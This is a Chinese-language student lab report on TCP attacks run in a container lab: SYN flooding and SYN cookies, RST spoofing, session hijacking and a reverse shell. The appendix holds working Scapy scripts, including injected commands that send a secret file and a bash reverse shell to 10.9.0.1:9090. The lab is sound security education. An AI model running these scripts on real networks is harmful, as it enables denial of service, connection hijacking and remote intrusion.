0%

TCP/IP Attack Lab

一.实验目标

本本实验室的学习目标是让学生获得关于脆弱性的第一手经验正如针对这些漏洞的攻击一样。聪明人从错误中学习。在安全教育中,我们研究导致软件漏洞的错误。研究过去的错误不仅对学生有帮助理解为什么系统是脆弱的,为什么一个看似善意的错误会变成一场灾难,以及为什么需要许多安全机制。更重要的是,它还可以帮助学生学习常见的模式这样他们就可以避免在将来犯类似的错误。

此外,利用漏洞通过案例研究,学生可以学习安全设计、安全编程和安全测试的原理。TCP/IP协议中的漏洞代表了协议设计和实现中特殊类型的漏洞;它们提供了一个宝贵的教训,说明为什么应该从是开始,而不是作为事后的补充。此外,研究这些漏洞有助于学生理解网络安全的挑战,以及为什么需要采取许多网络安全措施。

在这个实验中,学生将对TCP进行几次攻击。本实验室涵盖以下主题:

•TCP协议

•TCP SYN flood攻击和SYN cookies

•TCP重置攻击

•TCP会话劫持攻击

•反向shell

二.实验原理

2.1 TCP/IP协议

TCP/IP(Transmission Control Protocol/Internet Protocol,传输控制协议/互联网协议)是互联网的基本协议,也是国际互联网络的基础。TCP/IP 不是指一个协议,也不是 TCP 和 IP 这两个协议的合称,而是一个协议族,包括多个网络协议,比如 IP、ICMP(Internet Control Message Protocol,互联网控制报文协议)、TCP、HTTP(Hyper Text Transfer Protocol,超文本传输协议)、FTP(File Transfer Protocol,文件传输协议)、POP3(Post Office Protocol version 3,邮局协议)等。TCP/IP 定义了计算机操作系统如何连入互联网,以及数据传输的标准。TCP/IP 是为了解决不同系统的计算机之间的传输通信而提出的一个标准,不同系统的计算机采用了同一种协议后,就能相互通信,从而能够建立网络连接,实现资源共享和网络通信。

2.2 拓扑搭建

在这个实验室里,我们至少需要三台机器。我们使用容器来设置实验室环境。图1描述实验室设置。我们将使用攻击者容器来发起攻击,同时使用其他三个容器容器作为受害者和用户机器。我们假设所有这些机器都在同一个局域网上。学生这个实验室也可以使用三个虚拟机,但是使用容器会方便得多。

三.实验器材

1.Ubuntu20.04。

2.Wireshark等常用捕包工具。

四.实验步骤及运行结果

4.1 Task 1: SYN Flooding Attack

SYN flood是DoS攻击的一种形式,攻击者向受害者的TCP端口发送大量SYN请求攻击者无意完成3次握手过程。攻击者要么使用欺骗的IP处理或不继续此过程。通过这种攻击,攻击者可以淹没受害者的队列,即用于半打开的连接,即已经完成SYN, SYN- ack,但还没有得到了最终的ACK。当此队列已满时,受害者不能再接受任何连接。

4.1.1 Task 1.1: Launching the Attack Using Python

根据实验手册中所给出的代码进行编写,需要完善IP地址,端口号以及转发网卡的补充。根据实验原理可知telnet应该使用23号端口进行接收。然后进行攻击如下:

首先在攻击者主机中执行SYN泛洪攻击的python程序

在受害者主机中查看收到的SYN请求,发现使用了61个

由于此前限制了其地址池共有80个,根据手册中的指导可以得知可以使用四分之三即60个,多出的一个是已经在USER1和受害者主机之间建立的telnet连接时使用的。

在USER1主机中退出telnet连接,再重新登录,发现仍然可以与受害者主机成功建立连接,其原因在于受害者主机中地址池剩余的四分之一便是留给已经建立过连接的主机,让其下次登录仍然可以成功,因而攻击会失败。如下图:

根据失败的原因,我们可以重新实施攻击,应该首先在受害者主机中清理掉与USER1主机中所建立的信息,然后再重新进行攻击,如下:

如图所示,在USER1主机中无法与受害者主机建立连接,证明攻击成功。

在实验过程中,发现在执行python程序后,需要等待一段时间才可以成功实施攻击,为了提高攻击效率,可以进行如下操作:

并发的执行攻击脚本,可以加快受害者主机中地址池的耗尽速度,从而更快的实现攻击

4.1.2 Task 1.2: Launch the Attack Using C

利用所给出的C程序进行攻击,如下图所示:

相比于python程序,发现C程序在执行后无需等待,即可攻击成功,也无需并行执行攻击。

请启用SYN cookie机制,并再次运行您的攻击,并比较结果。

首先在受害者主机中启用SYN cookie机制,如下图:

然后再攻击者主机中执行攻击如下:

发现在USER1主机中,仍然可以成功建立telnet连接:

证明SYN cookie机制可以成功抵御SYN泛洪攻击

4.2 Task 2: TCP RST Attacks on telnet Connections

Manual attack

在USER1和受害者主机建立好telnet连接时,利用wireshark进行抓包如下:

从抓包内容中,我们可以得到最新的序列号,认证号以及在USER1主机中建立telnet连接时所使用的端口号,从而可以在python代码中完善相关内容,然后执行程序,即可断开USER1与受害者之间的telnet连接,如下:

在USER1主机中,连接被断开:

在受害者主机中,也可以查看到连接被断开:

但是这种攻击存在一定的缺陷,由于在USER1和受害者主机中建立连接后,USER1可能会不断从键盘上进行输入,而攻击时通过伪造USER1,向受害者主机发送报文实现的,当用户进行输入时,其序列号会发生改变,从而导致攻击失败,因此进行自动化的攻击,可以随时实现成功攻击。

其原理主要在于通过嗅探过滤得到来自于受害则主机的的数据包,利用该数据包进行伪造,从而得到对应的seq和ack以及端口号,因为是嗅探得到的,所以无需每次去抓包得到正确的序列号。

攻击具体过程如下所示:

首先在攻击者主机中,执行python程序,

其具体代码如下:

在USER1主机中,可以观察到连接被断开:

在受害者主机中和,也可以观察到前后的连接状况:

证明其是自动化实施的攻击,我们可以在USER1与受害者建立telnet连接前,执行攻击脚本,然后再USER1主机中,可以观察到如下:

发现在登录过程中,该连接即被中断,在wireshark中,也可以抓包到如下内容:

证明攻击成功。

4.3 Task 3: TCP Session Hijacking

TCP会话劫持攻击的目的是劫持一个已存在的TCP连接(会话)通过向会话中注入恶意内容,导致两个受害者。如果此连接是telnet会话,攻击者可以在此会话中注入恶意命令(例如删除重要文件),使受害者执行恶意命令。在这个任务中,你需要演示如何劫持两台计算机之间的Telnet会话。您的目标是获得telnet服务器从您那里运行恶意命令。为了简化任务,我们假设攻击者和受害者在同一个局域网。

攻击过程如下:

为了证明后续攻击实施成功,首先在受害者主机中,创建一个秘密文件,如下图:

然后在USER1主机上与受害者建立telnet连接,并利用wireshark进行抓包,利用抓包得到的内容完善python程序,如下图:

然后再攻击者主机上执行python脚本,即可成功执行注入的恶意代码,读取受害者主机上的秘密文件:

同实验二中的攻击,该攻击存在一定的局限性,因而尝试利用嗅探数据包,重新完善python程序,实现自动化攻击如下:

在受害者主机中,我们也可以查看到攻击者主机利用9090端口与受害者主机建立过连接,但是随后就被断开,因而显示超时。

攻击成功

4.4 Task 4: Creating Reverse Shell using TCP Session Hijacking

攻击过程如下:

首先在USER1主机上与受害者建立telnet连接,然后在攻击者主机中,在9090端口监听并且执行python脚本,如下图:

并且在受害者主机中可以查看到,当前网络中的连接如下:

可以观察到攻击者成功与受害者主机建立了连接,并且在攻击者主机上得到一个受害者主机的shell,但是该shell只是seed用户下的,并没有超级用户权限,如下图:

我们可以执行su命令,来得到root权限,如下图:

五.附件

Task1.1

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5") # victim
tcp = TCP(dport=23, flags='S') # telnet 23
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source ip
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, iface = 'br-579a2284e98b', verbose = 0)

Task1.2

实验的配置中已经给出了c语言代码

Task2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#手动脚本
#!/usr/bin/env python3
from scapy.all import *
# 需要利用 wireshark 进行抓包填写端口号和 seq
ip = IP(src="10.9.0.6", dst="10.9.0.5") # impersonate the usr
tcp = TCP(sport=45908, dport=23, flags="R", seq=72446585)
pkt = ip/tcp
ls(pkt)
send(pkt, iface="br-579a2284e98b", verbose=0)
#自动脚本
#!/usr/bin/python3
from scapy.all import *
# 利用嗅探数据包并且过滤得到来自于受害者主机的数据包,利用该数据包进行伪

def spoof_tcp(pkt):
IPLayer = IP(dst = pkt[IP].src, src=pkt[IP].dst)
TCPLayer = TCP(flags="R", seq=pkt[TCP].ack,
dport=pkt[TCP].sport, sport=pkt[TCP].dport)
spoofpkt = IPLayer/TCPLayer
ls(spoofpkt)
send(spoofpkt, verbose=0)
pkt=sniff(iface='br-579a2284e98b', filter='tcp and port 23', prn=spoof_tcp)

Task3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#手动脚本:
#!/usr/bin/env python3
from scapy.all import *
# 利用 wireshark 抓包得到端口号,seq 和 ack
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=46128, dport=23, flags="A", seq=1791470944, ack=1808897714)
data = "\r cat secretfile > /dev/tcp/10.9.0.1/9090 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, iface="br-579a2284e98b", verbose=0)

#自动脚本:
from scapy.all import *
def spoof_tcp(pkt):
# 嗅探来自于受害者主机的数据包,利用该数据包进行伪造,在 data 中注入恶意代
码.
ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack+5,
ack=pkt[TCP].seq)
data = "\r cat secretfile > /dev/tcp/10.9.0.1/9090 \r"
pkt = ip/tcp/data
# ls(pkt)
send(pkt, iface="br-579a2284e98b", verbose=0)
pkt=sniff(iface='br-579a2284e98b', filter='tcp and src host 10.9.0.5 and src port 23',
prn=spoof_tcp)

Task4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from scapy.all import *
def spoof_tcp(pkt):
# 利用嗅探到的数据包进行伪造数据包,根据实验手册的指导构造注入的恶意代
码。
ip = IP(src=pkt[IP].dst,dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="A",
seq=pkt[TCP].ack+5, ack=pkt[TCP].seq+len(pkt[TCP].payload))
data = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
pkt = ip/tcp/data
# ls(pkt)
send(pkt, iface="br-579a2284e98b", verbose=0)
# 嗅探来自于受害者主机 23 端口的数据包
pkt=sniff(iface='br-579a2284e98b', filter='tcp and src host 10.9.0.5 and src port 23',
prn=spoof_tcp)